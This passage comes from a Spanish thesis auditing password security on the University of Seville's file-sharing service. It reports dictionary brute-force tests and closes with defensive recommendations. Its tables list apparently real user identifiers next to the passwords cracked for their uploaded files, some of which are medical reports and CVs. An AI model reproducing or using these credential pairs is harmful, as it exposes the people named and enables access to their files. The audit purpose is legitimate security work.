Por otro lado, se muestra que hay usuarios que han utilizado la misma contrasefia para subir ficheros distintos,
esta practica es bastante comun entre la mayoria de usuarios a la hora de proteger informacion personal como
cuentas o documentos, como se ha demostrado en el estudio realizado por Panda Security®® en el que se expone
gue uno de cada dos internautas espafioles repite contrasefia en dos 0 mas plataformas, lo cual brinda a los
ciberdelincuentes la posibilidad de acceder con una misma contrasefia a varias facetas de la vida del usuario,
académica, social o econémica.

Los ficheros obtenidos analizando el nombre de los mismos, en su mayoria son trabajos o resimenes que no
tienen mucha importancia, pero si que existen ficheros mas relevantes como son las memorias de TFG de dos
usuarios.

3.3.2 Prueba realizada con diccionario numérico.

En esta ocasion se ha utilizado el diccionario numérico creado con todas las combinaciones posibles con 4
digitos. Se ha decidido utilizar como méaximo 4 digitos ya que el diccionario creado es de un tamafio
suficientemente pequefio como para no tener un tiempo de ejecucion inviable y ademas se ha observado en otras
pruebas realizadas con anterioridad que las contrasefias utilizadas por los usuarios rara vez superan 5 caracteres.
Los resultados obtenidos son aceptables y se observa cdmo los usuarios usan con frecuencia claves, inicamente
numéricas dada su rapidez a la hora de memorizarlas. Normalmente este tipo de contrasefias se eligen para sitios
en los que se vaya a introducir la contrasefia de manera frecuente cdmo es por ejemplo en el pin de desbloqueo
de los moviles o el nimero secreto que se debe introducir a la hora de realizar cualquier operacion bancaria con
la tarjeta. Esto supone un gran riesgo para el usuario que utilice este tipo de contrasefias ya que como se ha
comentado anteriormente puede ser que el fichero obtenido no tenga gran importancia pero el hecho de saber la
contrasefia usada por el usuario puede derivar en otros ataques mas serios como es el robo del movil o tarjeta
del banco de la persona victima de este ataque. A continuacién se presentan los resultados obtenidos:

USUARIO ' CONTRASENA = NOMBRE DEL ARCHIVO

rafestalo 2122 orlas-quimicl.png

rafestalo 2122 orlas-quimic2.png

antdelgon 2022 Colecciones.zip

anamorsil 2022 DATOS PRODUCCION Y CALIDAD.rar
anonimo 1234 TUTORIAL LINGO 2021-22.pdf
joscolher 1234 Plano situacion IMCAL.pdf

joscolher 1234 Listado Equipos JIMCAL.pdf

joscolher 1234 Definicion proyecto JMCAL.pdf

anonimo 2022 mapas_guadalquivir.rar

anonimo 1812 ESTATUTO US.zip

antgargom | 1998 MONTE MEDITERRANEO en Andalucia.pdf

13 Empresa espafiola especializada en la creacién de soluciones de seguridad informatica.
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Tabla 3-3. Resultados obtenidos con el diccionario numérico.

Como se puede observar la contrasefia “1234” sigue siendo una de las mas utilizadas y lo mas preocupante es
que se confirma mediante este segundo estudio que un mismo usuario suele usar la misma contrasefia para subir
ficheros diferentes y gracias a eso se ha conseguido obtener 3 ficheros diferentes del mismo usuario “joscolher”.
Los ficheros obtenidos en su mayoria por el nombre del fichero no parecen de gran relevancia, gran parte parecen
ser trabajos o ficheros relacionados con trabajos de la universidad. Sin embargo, los dos primeros ficheros son
imagenes de las orlas del grado de Ingenieria Quimica, esto supone un riesgo mayor ya que puede derivar incluso
en ataques fuera del mundo cibernético ya que el atacante ya no solo tiene el nombre de un estudiante en concreto
si no que se han conseguido los nombres de los estudiantes de todos los comparieros del grado y de los profesores
correspondientes.

3.3.3 Prueba creada con diccionario creado con CeWL

Para desarrollar el diccionario de este ataque se ha utilizado 1a herramienta de Kali Linux “CeWL” como se ha
comentado anteriormente, se le pasa la url a atacar y se genera un fichero automéaticamente con un diccionario
de claves aleatorias especificamente creadas a partir de la informacion obtenida por el programa en la url pasada
como paradmetro en la ejecucion del mismo.

Los resultados obtenidos con este diccionario han sido muy buenos comparandolos con el resto de ataques. A
continuacion se presentan dichos resultados:

USUARIO CONTRASENA NOMBRE DEL ARCHIVO

encberbor | Bernal T-16 — INDUSTRIALIZACION — 2022 .ppt
anonimo Diapositivas EJERCICIOS PRESTAMOS.pptx

anonimo temas Clase Micro Il.zip

luirodalb | Archivo Danaysi.rar

frasersan Urgencias Rubrica caso clinico dltima préactica.pdf
anonimo descarga Red MT.pdf

anonimo Diapositivas AU _Isla_Cristina_220503_version_final.pptx

anonimo CURRICULUM | CV VITAE AGASUERO.pdf

migcorsan | prueba POSIBLE PISADA zip

vicnuiigar | 2022 Informes interconsulta 1.pdf

vicnufigar | 2022 Informe Urgencias Modelo.pdf

vicnufigar | 2022 Informe transferencia (para parte interconsulta).pdf
antmorbel | DATOS Distribucion Ji-Cuadrado.pdf

anonimo Archivo tarea seminario 6.zip

anonimo CALDCIT2022 | CALDCIT2022.rar
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anonimo temas Tema 8. VALORACION EXTERNA ppt

anonimo ficheros LOU.zip

Tabla 3-4. Resultados obtenidos con el diccionario creado con CeWL.

En este estudio se han podido conseguir contrasefias menos tipicas gracias a la informacion que el programa
CeWL ha obtenido de la pagina de Consigna anteriormente. Sin embargo, resulta llamativo el hecho de que las
contrasefias utilizadas para ciertos ficheros sean tan obvios, como es el caso del curriculum vitae subido por un
usuario anénimo y cuya contrasefa es “CURRICULUM?”, u otro caso de un usuario anénimo cuya contrasefia
coincide con el nombre del fichero subido. Estas son practicas que no se deben tomar a la ligera ya que estamos
brindando a cualquiera con interés en obtener informacion Gtil sobre nosotros la oportunidad de obtenerla sin
mucha dificultad.

Ademas, se siguen observando contrasefias tipicas utilizadas por usuarios anteriormente como por ejemplo
“2022”. Se dan casos a su vez de usuarios que usan la misma contrasefia para subir el mismo archivo como
hemos visto en los anteriores estudios o diferentes usuarios que usan contrasefias faciles de adivinar como
“Archivo”, “ficheros” o “temas”.

3.3.4 Prueba realizada con diccionario descargado de Internet

En este caso se ha utilizado un diccionario descargado de internet que contiene las 500 peores contrasefias a usar
ya que han sido expuestas en la red tras ataques a servidores de sitios tan populares como MySpace, Facebook
0 hak5%. Los resultados obtenidos no han sido muy buenos pero cabia de esperar ya que la mayoria de las
contrasefias que incluye este diccionario estan escritas en inglés y los usuarios de la universidad de Sevilla en su
mayoria son espafioles, pero se ha utilizado este diccionario para comprobar el nimero de usuarios que utilizan
contrasefias en otro idioma diferente al espafiol, lo cual es una muy buena préactica ya que los ciberdelincuentes
enfocan los ataques para abarcar el mayor nimero de victimas posibles. Los resultados obtenidos han sido:

USUARIO | CONTRASENA | NOMBRE DEL ARCHIVO

anonimo lakers Curvas_forzadas.zip

rafvazval newyork TIFNA. pdf

antmigper | whatever INFORMES_FIRMADOS.zip
edufercam | surfer SCG_P_misil.zip

anonimo legend Sefarad-Tema 5-6 (2022).pdf
anonimo legend Sefarad-Tema 4 (2022).pdf
jesperper college 220426_Diosmina.zip
pasriechu success Salamanca marzo 2022.rar

Tabla 3-5. Resultados obtenidos con el diccionario descargado de Internet.

Como se puede observar ninguna de las contrasefias coincide con las obtenidas en el resto de estudios, al no ser
contrasefias tipicas usadas por usuarios espafioles.

14 Podcast con un gran nimero de seguidores expertos en ciberseguridad que componen una importante comunidad de hacking a nivel
mundial. Tienda online de productos especializados en herramientas de testeo de brechas de seguridad, implementacién, manipulacién y
extraccién de datos en redes.
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E

4 CONCLUSIONES Y LINEAS DE AVANCE
(MEJORAS)

La desconfianza es la madre de la seguridad.

- Aristofanes -

n este capitulo se van a describir acciones a realizar con el objeto de evitar que un sistema sea
comprometido. Ciertamente se ha comprobado tras el andlisis de los resultados obtenidos en el presente
trabajo, que han existido usuarios que no han estado al alcance, por aspectos que han sido descritos

anteriormente, no obstante, se concluye que habiendo accedido a un usuario, es causa suficiente para corregir
aquellas cuestiones que permitan que eso no ocurra.

Solucionar las vulnerabilidades pasa por:

VVVVVVVY

Antivirus y firewall actualizados frecuentemente.

Realizar y gestionar copias de seguridad.

Actualizar frecuentemente S.O. y aplicaciones.

Almacenar cifradamente la informacion reservada.
Emplear gestores de contrasefias y evitar que coincidan.
Tener precaucién al abrir documentos adjuntos recibidos.
Verificar la autencidad ante solicitudes de datos personales
Control y seguridad fisica sobre los dispositivos

En los resultados obtenidos en el presente trabajo, ha quedado demostrado que ciertos usuarios, aunque el
porcentaje no sea alto, han utilizado mecanismos de autenticacion que han podido ser comprometidos por
un ataque de fuerza bruta, efectuado utilizando 4 diferentes diccionarios sin una longitud excesiva, lo cual
es lo comdn en este tipo de ataques. Por tanto, si con los diccionarios utilizados hemos obtenido estos
resultados, con otros diccionarios con un tamafio mucho mayor se podria vulnerar muchos mas ficheros.

Cabe destacar en los resultados obtenidos ciertas practicas que no deberian darse con frecuencia ya que, cdmo
se ha comprobado, facilita el acceso a nuestros datos personales y en definitiva a nuestra vida:

Repetir contrasefias ya sea en el mismo sitio web o en otro diferente.
Utilizar contrasefias comunes como las descritas anteriormente.
No alternar letras y nimeros o usar caracteres especiales en las contrasefias utilizadas.

No utilizar combinaciones relacionadas con nuestra vida personal como son fechas, nombres, lugares,
al menos evitar usarlas de manera explicita.

Usar combinaciones de caracteres con una longitud inferior a 8 caracteres.

Afiadir a ello, que la circunstancia de que los usuarios puedan subir archivos varios, sin autenticarse con el uvus,
es decir, de forma andnima, entendiendo que el motivo de realizar dicha accion seria para compartir la url



Auditoria sobre la politica de contrasefias en la Universidad de Sevilla 40

mediante un enlace a la persona destinataria del mismo, comunicéndole la contrasefa establecida para el acceso
al documento, es una forma que en cierta medida, establece robustez al sistema de acceso mediante un ataque
de fuerza bruta, toda vez que, sin identificar el uvus, no seria posible un ataque a los perfiles de los usuarios de
la Universidad de Sevilla.

Otra cuestion que igualmente se extrae del estudio en cuestion, es el hecho de que la mayoria de los usuarios
utilizan contrasefias seguras que resisten a este tipo de ataque y no han podido ser vulneradas en los ataques que
se han realizado con los diferentes diccionarios, lo que supone una buena noticia. Sin embargo, no se debe restar
importancia a los resultados obtenidos ya que aunque no sean una mayoria se debe concienciar a los usuarios de
laimportancia que tiene establecer una contrasefia segura y seguir las buenas practicas comentadas en el presente
punto.

Como conclusidn principal al presente trabajo, destaca el hecho de haber tenido acceso a ciertos documentos de
sumo interés para los usuarios que lo han subido a la plataforma. El hecho de que un atacante haya tenido la
posibilidad de disponer de los Trabajos de Fin de Grado de usuarios de la Universidad de Sevilla, del curriculum,
0 de archivos personales como fotos o0 documentos, se considera especialmente delicado, atendiendo al uso que
una persona ajena a dicho documento, pueda hacer del mismo, ya sea realizando una copia, comerciando con el
documento, o cualquier otra accion indebida.

Como mejora a la seguridad de la Web que tiene la Universidad de Sevilla, que pudiera contrarrestar este tipo
de ataques, asi como evitar la poca conciencia que se tiene respecto a estos temas, seria conveniente efectuar
modificaciones en el Firewall, para lograr que se blogueara inmediatamente al usuario que desde una misma
direccion IP, estuviera accediendo al sistema mediante el uso de un nimero elevado de peticiones http en un
breve periodo de tiempo.

Otra cuestion que mejoraria enormemente la casuistica que se ha descrito en el presente informe, seria
incorporando a la web de consigna, un validador de contrasefias. Dicho método evitaria que el atacante pudiera
obtener un resultado satisfactorio a su accion, toda vez que un diccionario mas complejo con caracteres
especiales, nimeros, letras mayusculas y mindsculas, etc, es dificil de elaborar. Como sugerencia se presenta
una validacidn para que las contrasefias tengan como minimo mas de 8 caracteres, al menos un caracter especial,
un valor numérico, una letra mayuscula y una minuscula, asi como que caduque en un cierto periodo de tiempo
y no pueda ser escogida por el usuario al menos hasta 8 veces anteriores.

Como ampliacién a lo anterior, igualmente se considera una medida favorable para evitar este tipo de ataques
de fuerza bruta, el que se restrinja el nimero de intentos que se puede introducir la contrasefia por equivocacion
del usuario, bloqueandose el acceso a la web en principio durante un periodo de tiempo, y si el error vuelve a
suceder, que sea el departamento de informatica el encargado de desbloquear al usuario, una vez comprobada
su identidad.

Igualmente se considera muy recomendable establecer un software bloqueante de robots. Un ejemplo de ello
seria una tabla compuesta por imagenes y que se inste al usuario para que seleccione las imagenes donde
aparezca un patrén determinado. Dicha medida seria con el objeto de evitar que una maquina tenga acceso a
extraer informacion de autenticaciones o datos de la pagina de consigna.

Con la préctica anterior, se podrian evitar ataques mas sofisticados, un ejemplo de ello seria el ataque de DDoS?,
con el que se tiene como objetivo inhabilitar una infraestructura, un servidor o un servicio. Sirva como ejemplo
el ataque de denegacion de servicio que sufri el Banco de Espafia en el afio 2018, que se le atribuye a
Anonymous®® que blogqued el acceso a su Web sin que las operaciones comerciales se vieran afectadas.

Si todos los usuarios siguieran las recomendaciones antes mencionadas seria mas dificil para los
ciberdelincuentes obtener ningun tipo de dato o informacion personal de los internautas y se conseguria vivir en
un mundo mas seguro. El avance tecnoldgico no se frenay ya es raro el usuario que no tiene ningun tipo de dato
0 archivo subido a la red o tiene una cuenta de alguna pagina web ya sea para acceder al banco o al correo. Todo
esto debe poner en alerta a todo el mundo y entre todos poder conseguir disfrutar de las ventajas que nos ofrece
internet sin necesidad de sufrir ningun robo o ataque.

15 Denegacion de servicio.
16 Pseudénimo utilizado por un grupo de expertos en informatica y ciberseguridad, bajo el cual realizan ataques cibernéticos contra gobiernos,
corporaciones, instituciones y agencias gubernamentales.
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6 ANEXO A: DIAGRAMA DE FLUJO
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